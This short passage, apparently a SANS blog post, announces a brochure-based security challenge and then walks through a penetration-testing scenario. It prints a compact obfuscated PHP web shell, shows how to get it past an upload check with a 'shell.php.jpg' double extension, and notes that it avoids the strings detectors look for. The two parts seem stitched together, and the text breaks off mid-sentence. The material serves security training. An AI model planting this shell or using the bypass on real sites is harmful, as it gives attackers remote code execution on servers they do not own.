Here's some fun news. SANS just released a new kind of challenge — one that unfolds from the pages of a SANS brochure itself. Created by Jeff McJunkin and a group of challenge-writing collaborators, we launched it this week with the mailing of the SANS Network Security brochure for the upcoming conference in Las Vegas in October 2014.

Being the sneaky bugger you are (as a professional penetration tester operating within your scope and rules of engagement, naturally), you upload a file named shell.php.jpg, containing this delightful gem:
<?php @extract($_REQUEST); @die ($ctime($atime)); ?>
This file passes the extention check, but since it contains .php in the filename, many systems will execute it as a script. Also, this shell
doesn't include the telltale "/bin/sh", "shell_exec", or "system" strings and it looks like some sort of ...
